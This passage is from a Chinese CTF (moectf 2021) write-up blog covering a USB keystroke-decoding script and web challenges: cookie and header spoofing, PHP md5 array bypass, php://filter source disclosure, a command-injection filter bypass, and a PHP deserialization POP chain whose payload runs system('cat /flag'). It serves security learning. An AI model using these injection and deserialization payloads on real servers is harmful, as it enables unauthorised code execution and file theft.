builtin class-name">:</span><span class="token string">"&lt;NON>"</span>,<span class="token string">"33"</span><span class="token builtin class-name">:</span><span class="token string">"<span class="token entity" title="\&quot;">\"</span>"</span>,</pre></td></tr><tr><td data-num="25"></td><td><pre>          <span class="token string">"34"</span><span class="token builtin class-name">:</span><span class="token string">":"</span>,<span class="token string">"35"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;GA>"</span>,<span class="token string">"36"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;"</span>,<span class="token string">"37"</span><span class="token builtin class-name">:</span><span class="token string">">"</span>,<span class="token string">"38"</span><span class="token builtin class-name">:</span><span class="token string">"?"</span>,<span class="token string">"39"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;CAP>"</span>,<span class="token string">"3a"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F1>"</span>,</pre></td></tr><tr><td data-num="26"></td><td><pre>          <span class="token string">"3b"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F2>"</span>, <span class="token string">"3c"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F3>"</span>,<span class="token string">"3d"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F4>"</span>,<span class="token string">"3e"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F5>"</span>,<span class="token string">"3f"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F6>"</span>,<span class="token string">"40"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F7>"</span>,</pre></td></tr><tr><td data-num="27"></td><td><pre>          <span class="token string">"41"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F8>"</span>,<span class="token string">"42"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F9>"</span>,<span class="token string">"43"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F10>"</span>,<span class="token string">"44"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F11>"</span>,<span class="token string">"45"</span><span class="token builtin class-name">:</span><span class="token string">"&lt;F12>"</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="28"></td><td><pre>output <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="29"></td><td><pre>keys <span class="token operator">=</span> open<span class="token punctuation">(</span><span class="token string">'usbdata.txt'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="30"></td><td><pre><span class="token keyword">for</span> <span class="token for-or-select variable">line</span> <span class="token keyword">in</span> keys:</pre></td></tr><tr><td data-num="31"></td><td><pre>    try:</pre></td></tr><tr><td data-num="32"></td><td><pre>        <span class="token keyword">if</span> line<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or <span class="token punctuation">(</span>line<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> and line<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'2'</span><span class="token punctuation">)</span> or line<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">!=</span><span class="token string">'0'</span> or line<span class="token punctuation">[</span><span class="token number">6</span>:8<span class="token punctuation">]</span><span class="token operator">==</span><span class="token string">"00"</span><span class="token builtin class-name">:</span></pre></td></tr><tr><td data-num="33"></td><td><pre>             <span class="token builtin class-name">continue</span></pre></td></tr><tr><td data-num="34"></td><td><pre>        <span class="token keyword">if</span> line<span class="token punctuation">[</span><span class="token number">6</span>:8<span class="token punctuation">]</span> <span class="token keyword">in</span> normalKeys.keys<span class="token punctuation">(</span><span class="token punctuation">)</span>:</pre></td></tr><tr><td data-num="35"></td><td><pre>            output <span class="token operator">+=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span>normalKeys<span class="token punctuation">[</span>line<span class="token punctuation">[</span><span class="token number">6</span>:8<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">]</span>,<span class="token punctuation">[</span>shiftKeys<span class="token punctuation">[</span>line<span class="token punctuation">[</span><span class="token number">6</span>:8<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">[</span>line<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">==</span><span class="token string">'2'</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="36"></td><td><pre>        else:</pre></td></tr><tr><td data-num="37"></td><td><pre>            output <span class="token operator">+=</span> <span class="token punctuation">[</span><span class="token string">'[unknown]'</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="38"></td><td><pre>    except:</pre></td></tr><tr><td data-num="39"></td><td><pre>        pass</pre></td></tr><tr><td data-num="40"></td><td><pre></pre></td></tr><tr><td data-num="41"></td><td><pre>keys.close<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="42"></td><td><pre></pre></td></tr><tr><td data-num="43"></td><td><pre><span class="token assign-left variable">flag</span><span class="token operator">=</span><span class="token number">0</span></pre></td></tr><tr><td data-num="44"></td><td><pre>print<span class="token punctuation">(</span><span class="token string">""</span>.join<span class="token punctuation">(</span>output<span class="token punctuation">))</span></pre></td></tr><tr><td data-num="45"></td><td><pre><span class="token keyword">for</span> <span class="token for-or-select variable">i</span> <span class="token keyword">in</span> range<span class="token punctuation">(</span>len<span class="token punctuation">(</span>output<span class="token punctuation">))</span>:</pre></td></tr><tr><td data-num="46"></td><td><pre>    try:</pre></td></tr><tr><td data-num="47"></td><td><pre>        <span class="token assign-left variable">a</span><span class="token operator">=</span>output.index<span class="token punctuation">(</span><span class="token string">'&lt;DEL>'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="48"></td><td><pre>        del output<span class="token punctuation">[</span>a<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="49"></td><td><pre>        del output<span class="token punctuation">[</span>a-1<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="50"></td><td><pre>    except:</pre></td></tr><tr><td data-num="51"></td><td><pre>        pass</pre></td></tr><tr><td data-num="52"></td><td><pre></pre></td></tr><tr><td data-num="53"></td><td><pre><span class="token keyword">for</span> <span class="token for-or-select variable">i</span> <span class="token keyword">in</span> range<span class="token punctuation">(</span>len<span class="token punctuation">(</span>output<span class="token punctuation">))</span>:</pre></td></tr><tr><td data-num="54"></td><td><pre>    try:</pre></td></tr><tr><td data-num="55"></td><td><pre>        <span class="token keyword">if</span> output<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">==</span><span class="token string">"&lt;CAP>"</span><span class="token builtin class-name">:</span></pre></td></tr><tr><td data-num="56"></td><td><pre>            <span class="token assign-left variable">flag</span><span class="token operator">+=</span><span class="token number">1</span></pre></td></tr><tr><td data-num="57"></td><td><pre>            output.pop<span class="token punctuation">(</span>i<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="58"></td><td><pre>            <span class="token keyword">if</span> <span class="token assign-left variable">flag</span><span class="token operator">==</span><span class="token number">2</span>:</pre></td></tr><tr><td data-num="59"></td><td><pre>                <span class="token assign-left variable">flag</span><span class="token operator">=</span><span class="token number">0</span></pre></td></tr><tr><td data-num="60"></td><td><pre>        <span class="token keyword">if</span> flag<span class="token operator">!=</span><span class="token number">0</span>:</pre></td></tr><tr><td data-num="61"></td><td><pre>            output<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">=</span>output<span class="token punctuation">[</span>i<span class="token punctuation">]</span>.upper<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="62"></td><td><pre>    except:</pre></td></tr><tr><td data-num="63"></td><td><pre>        pass</pre></td></tr><tr><td data-num="64"></td><td><pre></pre></td></tr><tr><td data-num="65"></td><td><pre>print <span class="token punctuation">(</span><span class="token string">'output :'</span> + <span class="token string">""</span>.join<span class="token punctuation">(</span>output<span class="token punctuation">))</span></pre></td></tr><tr><td data-num="66"></td><td><pre><span class="token comment">## 结果 2021nian&lt;SPACE>8yue&lt;SPACE>5ri&lt;SPACE>,qing22&lt;DEL>&lt;RET>zuotian&lt;SPACE>gei&lt;SPACE>hanshu&lt;SPACE>fale&lt;SPACE>caotu&lt;SPACE>,cadai&lt;DEL>&lt;DEL>&lt;DEL>&lt;DEL>&lt;DEL>odaooo&lt;DEL>&lt;DEL>41tale&lt;SPACE>,kaixin&lt;SPACE>&lt;RET>yizhou&lt;SPACE>meiyoukan&lt;SPACE>jiaran=61de&lt;SPACE>shipinle&lt;SPACE>,nanshou&lt;SPACE>nie1&lt;RET>dongfangyaohe&lt;SPACE>musedash&lt;RET>liandongle&lt;SPACE>,shuangchukuangxi&lt;SPACE>[unknown][unknown]&lt;DEL>chu=2 [unknown][unknown]&lt;RET>moectf&lt;RET>de&lt;SPACE>misc&lt;RET>ti&lt;SPACE>caichule&lt;SPACE>4dao2,male&lt;SPACE>&lt;RET>woxiang&lt;SPACE>moyu2moyu&lt;SPACE>mou&lt;DEL>yu&lt;SPACE>&lt;RET>d&lt;DEL>&lt;GA>damedane	&lt;RET>\&lt;DEL>,&lt;RET>dameyo&lt;SPACE>&lt;RET>,&lt;RET>damenanoyo&lt;SPACE>&lt;RET>&lt;RET>xin2misc&lt;RET>ti&lt;SPACE>de&lt;SPACE>flag&lt;RET>xiangge3shengcao21yidiande&lt;SPACE>&lt;RET>jiujiao&lt;DEL>&lt;DEL>&lt;DEL>&lt;DEL>yo&lt;DEL>ng&lt;SPACE>&lt;SPACE>*moectf&lt;RET>&#123;&#125;[unknown] D@m3daNe_D4me_yoooooo*[unknown][unknown][unknown] haole&lt;DEL>&lt;DEL>&lt;DEL>&lt;DEL>&lt;DEL>&lt;SPACE>haole&lt;SPACE>riji&lt;SPACE>.&lt;DEL>.txt&lt;RET></span></pre></td></tr></table></figure><p><code>moectf&#123;D@m3daNe_D4me_yoooooo&#125;</code></p>
<h1 id="web"><a class="anchor" href="#web">#</a> Web</h1>
<h2 id="get"><a class="anchor" href="#get">#</a> <strong>GET</strong></h2>
<p>用 GET 获取<br />
 <code>http://47.93.215.154:10000/?moe=flag</code></p>
<h2 id="post"><a class="anchor" href="#post">#</a> <strong>POST</strong></h2>
<p><code>Hackerbar</code>  发个 POST</p>
<h2 id="cookie"><a class="anchor" href="#cookie">#</a> <strong>Cookie</strong></h2>
<p>页面显示 flag 只给 cookie，于是查看 cookie，发现其值为 0. 说明我不是 VIP！<br />
于是修改其值为 1 于是 flag 就交给我了。<br />
 <code>moectf&#123;C00kie_1s_sw33t!&#125;</code></p>
<h2 id="2048"><a class="anchor" href="#2048">#</a> <strong>2048</strong></h2>
<p>web 题下 js 类的题目，在游戏开始和结束时都会发送请求。开 bp！</p>
<p><img data-src="https://i.loli.net/2021/09/21/gbu8cPvH3lyhSRZ.png" alt="" /></p>
<p>传参指定参数即可</p>
<p><img data-src="https://i.loli.net/2021/09/21/1sKfCVTO9hNyS67.png" alt="" /></p>
<p>开游戏，抓包，乱玩，死了，找到包发到 repeater，分数一改，发过去，flag 就有啦。</p>
<p><code>moectf&#123;2048_1s_intere5t1ng!&#125;</code></p>
<h2 id="web_inc"><a class="anchor" href="#web_inc">#</a> <strong>Web_Inc</strong></h2>
<p>百度搜索:md5 绕过</p>
<p><img data-src="https://i.loli.net/2021/09/21/DCytjM7OwfbKoAq.png" alt="" /></p>
<p>题目要求是 a,b 不相等，但它们的 md5 值严格相等，&lt;font color='red'&gt; 注意是 =<mark> 而不是</mark> &lt;/font&gt;</p>
<p>可以构造数组绕过， <code>a[]=1 b[]=2</code> , 传参得到 flag</p>
<p><img data-src="https://i.loli.net/2021/09/21/blLWIVTosDG2YmF.png" alt="" /></p>
<p>已知数组是不可哈希类型，而 md5 是基于哈希算法。所以 ab 赋为不同值数组，md5 之后都是 NULL 但值不同所以就过了。flag get！<br />
 <code>moectf&#123;xdsec3gf9dfg62fh342&#125;</code></p>
<h2 id="ez_include"><a class="anchor" href="#ez_include">#</a> <strong>ez_include</strong></h2>
<p>此题用 php://input 传参发现没有反应，估计是 input 被屏蔽了，尝试使用 &lt;font color='red'&gt;filter&lt;/font &gt; 协议读取 flag.php 的源码，并用 base64 解密</p>
<p><img data-src="https://i.loli.net/2021/09/21/HF2gSVjakIBxo73.png" alt="" /></p>
<p><code>php://filter/read=convert.base64-encode/resource=flag.php``moectf&#123;xdsec6asdgas7ahfsfaxczc&#125;</code></p>
<p>解密得到：&lt;?$flag=&quot;moectf {xdsec6asdgas7ahfsfaxczc}&quot;;?&gt;</p>
<h2 id="do-your-know-http"><a class="anchor" href="#do-your-know-http">#</a> <strong>Do your know http?</strong></h2>
<p>这题考察的应该是对 HTTP 头的理解，采用 Burpsuite 抓包修改进行解题</p>
<p>共有四关，1. 用 'HS' 来请求试试？改成 <code>HS</code></p>
<p>&lt;img src=&quot;<span class="exturl" data-url="aHR0cHM6Ly9pLmxvbGkubmV0LzIwMjEvMDkvMjEvbGY0TmVEdGh1SkFFYnB4LnBuZw==">https://i.loli.net/2021/09/21/lf4NeDthuJAEbpx.png</span>&quot; alt=&quot;&quot;  /&gt;</p>
<p>2. 用本地 ip 访问<br />
 <code>X-forwarded-for:127.0.0.1</code></p>
<p><img data-src="https://i.loli.net/2021/09/21/bVkfSq4zwtA27XE.png" alt="" /></p>
<p>3. 网页来源</p>
<p><code>referer:www.ltyyds.com</code></p>
<p><img data-src="https://i.loli.net/2021/09/21/HduOYyIQwqanFzU.png" alt="" /></p>
<p>4. 伪造浏览器</p>
<p><code>User-Agent: LT</code></p>
<p><img data-src="https://i.loli.net/2021/09/21/Fr5QYVbjnRwShzq.png" alt="" /></p>
<p><code>moectf&#123;HTTPHeaders_1s_s0_ea5y!&#125;</code></p>
<h2 id="baberce"><a class="anchor" href="#baberce">#</a> <strong>babeRCE</strong></h2>
<blockquote>
<p>参考博客<span class="exturl" data-url="aHR0cHM6Ly93d3cuY25ibG9ncy5jb20vMHlzdDNyLTIwNDYvcC8xMjYwMDA3My5odG1s"> https://www.cnblogs.com/0yst3r-2046/p/12600073.html</span></p>
</blockquote>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token variable">$rce</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'rce'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$rce</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\&lt;|\'|\"/i"</span><span class="token punctuation">,</span> <span class="token variable">$rce</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token function">system</span><span class="token punctuation">(</span><span class="token variable">$rce</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token punctuation">&#125;</span><span class="token keyword">else</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token keyword">echo</span> <span class="token string double-quoted-string">"hhhhhhacker!!!"</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token operator">**</span><span class="token constant">FILE</span><span class="token operator">**</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token punctuation">&#125;</span></span></pre></td></tr></table></figure><p>审查代码看到<em> cat more less nl tac 等</em> 都被过滤了，ls 没被过滤，用 <code>burpsuite</code>  进行监控，重发</p>
<p><code>?rce=ls</code></p>
<p><code>find$&#123;IFS&#125;/$&#123;IFS&#125;-name$&#123;IFS&#125;fla\g</code></p>
<p>发现了 /flag 以及 index.php，<s>绝笔藏在 flag，但不能直接看，那就绕过</s></p>
<p><code>?rce=ca\t$&#123;IFS&#125;/fla\g</code>  , 得到 flag</p>
<p><code>moectf&#123;Do_y0u_l1k3_Rcccccccccccccce?&#125;</code></p>
<h2 id="ezunserialize"><a class="anchor" href="#ezunserialize">#</a> <strong>ezunserialize</strong></h2>
<h3 id="-2"><a class="anchor" href="#-2">#</a> </h3>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></pre></td></tr><tr><td data-num="2"></td><td><pre></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">class</span> <span class="token class-name-definition class-name">entrance</span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="5"></td><td><pre>    <span class="token keyword">public</span> <span class="token variable">$start</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="6"></td><td><pre></pre></td></tr><tr><td data-num="7"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$start</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="9"></td><td><pre>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">start</span> <span class="token operator">=</span> <span class="token variable">$start</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="10"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="11"></td><td><pre></pre></td></tr><tr><td data-num="12"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="13"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="14"></td><td><pre>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">start</span><span class="token operator">-></span><span class="token function">helloworld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="15"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="17"></td><td><pre></pre></td></tr><tr><td data-num="18"></td><td><pre><span class="token keyword">class</span> <span class="token class-name-definition class-name">springboard</span></pre></td></tr><tr><td data-num="19"></td><td><pre><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="20"></td><td><pre>    <span class="token keyword">public</span> <span class="token variable">$middle</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="21"></td><td><pre></pre></td></tr><tr><td data-num="22"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__call</span><span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">,</span> <span class="token variable">$arguments</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="23"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="24"></td><td><pre>        <span class="token keyword">echo</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">middle</span><span class="token operator">-></span><span class="token property">hs</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="25"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="26"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="27"></td><td><pre></pre></td></tr><tr><td data-num="28"></td><td><pre><span class="token keyword">class</span> <span class="token class-name-definition class-name">evil</span></pre></td></tr><tr><td data-num="29"></td><td><pre><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="30"></td><td><pre>    <span class="token keyword">public</span> <span class="token variable">$end</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="31"></td><td><pre></pre></td></tr><tr><td data-num="32"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$end</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="33"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="34"></td><td><pre>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">end</span> <span class="token operator">=</span> <span class="token variable">$end</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="35"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="36"></td><td><pre></pre></td></tr><tr><td data-num="37"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__get</span><span class="token punctuation">(</span><span class="token variable">$Attribute</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="38"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="39"></td><td><pre>        <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">end</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="40"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="41"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="42"></td><td><pre></pre></td></tr><tr><td data-num="43"></td><td><pre><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'serialize'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="44"></td><td><pre>    <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'serialize'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="45"></td><td><pre><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="46"></td><td><pre>    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="47"></td><td><pre><span class="token punctuation">&#125;</span></span></pre></td></tr></table></figure><p>先来了解一些魔术方法：</p>
<table>
<thead>
<tr>
<th>__construct()</th>
<th>具有构造函数的类会在每次创建新对象时先调用此方法</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>__destruct()</strong></td>
<td>某个对象的所有引用都被删除或者当对象被显式销毁时执行</td>
</tr>
<tr>
<td><strong>__get()</strong></td>
<td>读取不可访问 &lt;font color='red'&gt; 属性的值 &lt;/font&gt;, <code>__get</code>  会被自动调用</td>
</tr>
<tr>
<td><strong>__call()</strong></td>
<td>在对象中调用一个不可访问 &lt;font color='red'&gt; 方法 &lt;/font &gt; 时， <code>__call</code>  会自动被调用</td>
</tr>
<tr>
<td><strong>__wakeup()</strong></td>
<td><code>unserialize()</code>  会检查是否存在一个  <code>__wakeup()</code>  方法。如果存在，则会先调用  <code>__wakeup</code>  方法，预先准备对象需要的资源。</td>
</tr>
</tbody>
</table>
<p>分析上述代码，得知最终入口为 evil 对象调用的 eval 函数，从而构造传播链</p>
<blockquote>
<p>entrance--&gt;springboard--&gt;evil</p>
</blockquote>
<p>可以自行给 springboard 类增添构造函数</p>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">class</span> <span class="token class-name-definition class-name">springboard</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="3"></td><td><pre>    <span class="token keyword">public</span> <span class="token variable">$middle</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="4"></td><td><pre>	<span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$x</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre>	<span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="6"></td><td><pre>		<span class="token variable">$this</span><span class="token operator">-></span><span class="token property">middle</span> <span class="token operator">=</span> <span class="token variable">$x</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="7"></td><td><pre>	<span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="8"></td><td><pre>    <span class="token keyword">function</span> <span class="token function-definition function">__call</span><span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">,</span> <span class="token variable">$arguments</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre>    <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="10"></td><td><pre>        <span class="token keyword">echo</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">middle</span><span class="token operator">-></span><span class="token property">hs</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="11"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token variable">$e</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">evil</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"system('cat /flag');"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token variable">$s</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">springboard</span><span class="token punctuation">(</span><span class="token variable">$e</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">entrance</span><span class="token punctuation">(</span><span class="token variable">$s</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token keyword">echo</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">;</span></pre></td></tr></table></figure><p>得到序列化后的结果 ： <code>O:8:&quot;entrance&quot;:1:&#123;s:5:&quot;start&quot;;O:11:&quot;springboard&quot;:1:&#123;s:6:&quot;middle&quot;;O:4:&quot;evil&quot;:1:&#123;s:3:&quot;end&quot;;s:20:&quot;system('cat /flag');&quot;;&#125;&#125;&#125;</code></p>
<p>最终取得 flag：</p>
<p><img data-src="https://i.loli.net/2021/09/24/jlzvO5bMwC68ZWr.png" alt="" /></p>
<h2 id="地狱通信改"><a class="anchor" href="#地狱通信改">#</a> <strong>地狱通信 — 改</strong></h2>
<blockquote>
<p>实际上地狱通信比这个简单，但有时间限制，这题做出来地狱通信也就没有问题了</p>
</blockquote>
<figure class="highlight php"><figcaption data-lang="PHP"></figcaption><table><tr><td data-num="1"></td><td><pre>from flask import Flask<span class="token punctuation">,</span> render_template<span class="token punctuation">,</span> request<span class="token punctuation">,</span> session<span class="token punctuation">,</span> redirect<span class="token punctuation">,</span> make_response</pre></td></tr><tr><td data-num="2"></td><td><pre>from secret import secret<span class="token punctuation">,</span> headers<span class="token punctuation">,</span> User</pre></td></tr><tr><td data-num="3"></td><td><pre>import datetime</pre></td></tr><tr><td data-num="4"></td><td><pre>import jwt</pre></td></tr><tr><td data-num="5"></td><td><pre></pre></td></tr><tr><td data-num="6"></td><td><pre>app <span class="token operator">=</span> <span class="token function">Flask</span><span class="token punctuation">(</span>__name__<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre></pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre>@app<span class="token operator">.</span><span class="token function">route</span><span class="token 